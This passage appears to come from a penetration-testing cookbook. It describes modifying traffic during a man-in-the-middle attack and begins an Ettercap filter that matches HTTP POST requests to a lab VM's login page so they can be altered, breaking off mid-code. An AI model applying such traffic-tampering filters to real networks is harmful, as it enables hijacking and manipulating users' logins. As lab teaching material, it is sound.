Modifying data between the server and the client
When performing a MITM attack, we are able not only to listen to everything being sent between the victim systems but also to modify requests and responses and, thus, make them behave as we want.
In this recipe, we will use Ettercap filters to detect whether or not a packet contains the information we are interested in and to trigger the change operations.
Getting ready
We need to have MITM working before starting this recipe.
How to do it...
Our first step is to create a filter file. Save the following code in a text file (we will call it
regex-replace-filter.filter
) as is shown here:# If the packet goes to vulnerable_vm on TCP port 80 (HTTP) if (ip.dst == '192.168.56.102'&& tcp.dst == 80) { # if the packet's data contains a login page if (search(DATA.data, "POST")){ msg("POST request"); if (search(DATA.data, "login.php") ){ msg("Call to login page"); # Will change content's length to prevent...